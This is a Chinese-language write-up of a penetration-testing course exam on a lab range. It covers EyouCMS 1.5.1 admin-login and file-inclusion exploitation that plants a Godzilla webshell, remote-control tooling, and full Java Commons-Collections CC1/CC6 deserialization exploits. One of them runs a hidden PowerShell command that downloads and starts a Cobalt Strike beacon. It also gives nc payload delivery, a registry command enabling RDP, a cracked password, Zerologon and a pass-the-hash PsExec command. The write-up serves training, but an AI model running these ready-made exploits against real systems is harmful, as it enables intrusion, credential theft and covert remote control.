暗月渗透测试十月份考核文章第三篇
2022-10-16 10:1:59 Author: moonsec(查看原文) 阅读量:71 收藏

暗月渗透测试十月份考核文章第三篇

0考核介绍

本次考核最终通过人数七人 达到预期目标

考核内容 

本次考核使用在线靶靶场,主要考核从外网打点到内网域渗透的能力。

  • web:php代码审计 、java反序列化漏洞利用等。

  • 内网:隧道应用、横向渗透、域渗透等 。

难度 中

拓扑图:

1前言

在普天同庆的国庆节,月师傅突然发来了考核捷报,真好,放假都要我们继续学习
学习了月师傅的教学已经有半多年了,第二次参加的考核。(本人因为有基础,只是内网不怎么会,只能说一句月师傅内网yyds)
信息收集
1.根据月师傅发来的考核信息,初步判断有域环境,应该问题不大
网站: http://216.224.123.190/

2.打开了站点http://216.224.123.190/直接指纹识别为Eyoucms

3.然后什么也不干,直接去官方找源码https://www.eyoucms.com/
一般都是在日志里面就有现成的源码

4.这时候就有两种思路1.无脑找exp去打cms 2.判断版本精准打击
那我肯定直接找版本,先找一个不高也不低的源码EyouCMS-V1.4.7直接本地搭建复现信息收集

前台访问

本地搭建 后台web目录为 /login.php?s=Admin/login 得到后台目录

5.然后直接用phpstrom打开,全局搜索 1.4.7版本或者version
然后就可以看见在version.txt里面是显示了版本信息,那是不是说明所有的cms都可以看到版本,为了印证猜想,直接找到version.txt路径

6.发现version.txt在web根目录的/data/conf/version.txt
然后直接在目标网站拼接
http://216.224.123.190/data/conf/version.txt
得到版本v1.5.1

7.那拿shell岂不是成功了一半,直接搜索eyoucms 1.5.1版本历史漏洞

8.后找到https://www.yisu.com/zixun/497673.html 文章简单的复现了一下 Eyoucms v1.5.1 及以前版本存在任意用户后台登陆与文件包含漏洞
任意用户后台登陆漏洞,网上也热乎的脚本和文章,直接运行就获取到了后台的session

替换一下session,登录成功

文件包含漏洞,根据文章尝试了一下发现成功不了,因为官网文件上传已经不能上传图片了

9.这时候就得换一种思路,会不会比他高版本的历史漏洞也可以成功,这时候有从百度哪里找到了后台getshell的历史漏洞,果然精髓点在这,历史漏洞打组合拳
后台getshell的历史漏洞:https://www.zilyun.com/31010.html
后台/template/pc/index.html这里存在文件包含直接,在这搞个哥斯拉马¬

本地复现发现成功了

目录下面生成了哥斯拉马

10.那就直接用刚刚的步骤再http://216.224.123.190/复现一下 就可以直接连上哥斯拉马了 发现是一台windows2012 r2 的服务器,这里我有点懵逼,可刚刚识别出来的是linux服务器,我当时以为是潮汐指纹搞错了,这里也为之后的破大防的渗透经历买下来伏笔

11.因为是windows系统嘛,我想着这么多人连3389,怕被挤下来,直接上远控软件,这里我推荐GotoHTTP_x64.和rustdesk-1.1.9.exe(没找到工具的,可以关注湘安无事公众号找我要),这里我直接使用了rustdesk,然后再运行它(远控一般都是需要账号密码)

运行后,再
C:/Users/Administrator/AppData/Roaming/RustDesk/config/下面找到配置文件RustDesk.toml

Id=1909566142Password=8bi88d


然后本机运行,刚开始是可以的,后面不知道是不是被月师傅调了一下环境,也可以上其他的远控软件(这里只是提供一个便捷的方式,能够快速的操作,因为太多人打了容易卡,你越快就越抢占新机,当然也容易溯源,我觉得大家可以多试试写个远控软件方便好用对win)

12.刚刚也可以走传统的方式,上传cs木马运行,抓取密码,然后frp内网穿透,这里为了访问不卡,我直接就上todesk持续远控了,这里月师傅看了都要说好家伙

13.到现在为止是打下了第一台服务器,然后通过第一台跳板机去对第二台服务器192.168.22.146去信息收集,这里我直接上ksa正向代理,非常简单直接安装ksa.exe就行小巧方便

然后我们自己客户机连上,就可以把自己电脑流量全部代理到跳板机192.168.22.152,去进行信息收集 主要为了方便操作

连上之后就可以再本地ping一下第二台192.168.22.146,发现ping成功,然后直接本地用nmap端口扫描工具扫描,开放了如图端口

发现存在 域 和9999端口,9999端口是sokect通信的端口服务,当时发现没有web服务啥的,都不知道怎么入手,后面经过月师傅的提醒是sokect反序列,可能与服务器上面的qqclient.jar有关

再本地运行看了一下是存在网络通信的服务

直接反编译源码后,用idea打开,发现是与第二台机器192.168.22.146 9999端口进行通信,经过提示这里可能存在反序列化

当时打到这里已经过去了3天,然后一直没有拿下来,没办法这次一定要过考核,然后我就去看月师傅java安全的课看反序列 看cc1 cc6 感觉我这辈子都没有这么认真去看呜呜呜太难了,大致了解只会我就去本地复现,然后去GitHub找了一下服务端的源码本地运行

因为月师傅视频反序列化不是sokect通信的,给我整的有点懵bi(其实都大同小异),不知道怎么去写poc本地复现,当时也下了蛮大的决心去看懂服务端的代码,还找到了课程,讲解了服务端的代码
https://www.bilibili.com/video/BV1fh411y7R8/?p=689&spm_id_from=333.1007.top_right_bar_window_history.content.click

https://blog.csdn.net/BLWY_1124/article/details/124625293这个讲清服务端和客户端代码的运行和源码

看完这我就明白的差不多了,直接写了个sokect通信的poc

public class cc1 {    public static void main(String[] args) throws Exception{        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]                        {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                new InvokerTransformer("invoke", new Class[]                        {Object.class, Object[].class}, new Object[]{null, new Object[0]}),                new InvokerTransformer("exec", new Class[]{String.class},                        new Object[]{"calc.exe"}),        };        Transformer transformerChain = new                ChainedTransformer(transformers);        Map lazyMap = LazyMap.decorate(new HashMap(), new                ConstantTransformer(1));        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"moonsec");        HashMap hashMap= new HashMap<>();        hashMap.put(tiedMapEntry,"aaa");        lazyMap.remove("moonsec");        Class c = LazyMap.class;        Field factoryField =c.getDeclaredField("factory");        factoryField.setAccessible(true);        factoryField.set(lazyMap,transformerChain);        serialize(hashMap);    }   public static void serialize(Object obj) throws IOException, ClassNotFoundException {        System.out.println("================[ Socket Start ]===================");        Socket socket = new Socket(InetAddress.getByName("127.0.0.1"), 9999);        ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream());// 1. 创建Socket序列化流        oos.writeObject(obj);//发送Socket序列化流        oos.close();//关闭    }//这里主要是与服务端通信发送序列化流    }

这里服务端环境一定得配置好(有两个关键点1.一定要导入依赖pom.xml  2. java 版本 jdk-8u65具体就是月师傅cc1环境搭建哪里一样的环境)就是因为环境没有配置好,导致我poc打不成功,后面问了一下ccj师傅说我是不是没有导入依赖pom.xml,真的太感谢了。
直接运行打了一下本地的客户端发现成功,其实本来不麻烦的,直接改一下月师傅的cc6或者cc1的poc,因为我没有导入依赖所以一直没有成功,搞得我一直去读去看服务器代码真难受(这边建议遇到瓶颈多问月师傅要点提示,渗透本质就是信息收集+fuzz,这里cc1也能成功)

以上是用的socket去打的反序列,因为自己本机是不能去与192.168.22.146去socket通信,只能通过nc发送bin给192.168.22.146主机去接受然后进行反序列化,然后执行命令。只要把刚刚poc中calc.exe改成powershell下载cs木马,就可以让第二台上线,由于第二台不出网,得准备好cobalt strike 转发上线
事前准备:
1.先上线第一台192.168.22.156主机,将cs生成的ar.exe通过todesk放在桌面并运行

成功上线

准备生成能转发上线的exe

然后编写生成bin的反序列poc

package sec;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.InetAddress;import java.net.Socket;import java.util.HashMap;import java.util.Map;
public class cc6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://192.168.22.152:8001/beacon.exe','beacon.exe');start-process beacon.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(1)); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key"); HashMap hashMap=new HashMap<>(); hashMap.put(tiedMapEntry,"value"); lazyMap.remove("key"); Class c = LazyMap.class; Field factoryfield = c.getDeclaredField("factory"); factoryfield.setAccessible(true); factoryfield.set(lazyMap,transformerChain);
serialize(hashMap); //unserialize(); }
public static void serialize(Object obj) throws Exception { ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("12.bin"));//创建序列化流 outputStream.writeObject(obj);//将序列化流写入12.bin文件 outputStream.close(); }
public static void unserialize() throws Exception{ ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("7.bin"));// 1.创建反序列化流 Object obj = inputStream.readObject();//读取反序列流利用cc6链执行命令
}}

将里面的命令执行改成远程下载服务器上面的中转木马文件就行了
1.这里就开始破大防了,刚开始以为192.168.22.152是有web服务的,直接把中转木马放到web根目录下面
Poc里面写的命令为

powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://192.168.22.152/beacon.exe','beacon.exe');start-process beacon.exe

然后将生成的bin文件nc发给服务端,然后一直没有上线,但我本地测试成功呀,搞得我好难受一直搞到晚上1 2 点 破大防
后面问了一下,要是里面还有一层内网,第一台frp到公网的,怪不得之前信息收集cms识别出是linux
拿下webshell又是windows,原来是这样子的呀,信息收集太重要了

大致猜测,所以你让22.146访问22.152 web服务下面的文件下载是请求不到的(其实这里是可以访问的

解决办法:差不多是这样子的 我没有尝试

2.由于要起个web服务,我就直接远控第一台下载了一个python,很离谱吧,因为我有远控todesk,并起了web服务

并将中转exe发到下面,好让反序列执行去下载并运行exe

将刚刚的12.bin通过nc转发给192.168.22.146服务器反序列执行命令下载木马再cs上面
Shell type 12.bin | nc -v 192.168.22.146 9999

过一段时间就会发现中转cs上线

到这里第二台data 192.168.22.146已经上线,然后ipconfig看了一下是双网卡,还存在10.10.10.136这个网段

域内信息收集:cobalt strike 插件

然后直接用插件攻击了,发现存在CVE-2020-1472
因为本人的服务器到期了,然后直接用ksa走的正向代理
先抓取一下192.168.22.146密码凭证 data域解出来的是QWEasd12300

然后第二台22.146直接执行命令打开3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

然后本机远程登录连接 用刚刚的密码

CVE-2020-1472 攻击成功的方法:
通过 secretsdump.exe 成功 dump 域管 hash

命令:

PsExec.exe aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d  vsmoon.com/[email protected]10.10.137

并且查看

flag: mooonsec_flag{moonsec-8aff4877eb76417460c0fc7f84b32566}

2总结:

1.一定要对内网环境信息有个清楚的认识
2.反序列化要搞懂,要细心一点
3.遇到问题可适当的问一下月师傅
4.win的话走正向和远控挺好用的

5关注公众号

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

觉得文章对你有帮助 请转发 点赞 收藏

6关于培训

需要渗透测试培训

扫一扫添加微信咨询

课程内容点击了解

暗月渗透测试课程更新


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMjc0NTEzMw==&mid=2653583855&idx=1&sn=e4ebd931c1b4e951a2a20acdb8ba9236&chksm=811b6fadb66ce6bbeb60ea3eb15b2228f290d79d48f69969adc551253319b46fe083949cb45f#rd
如有侵权请联系:admin#unsafe.sh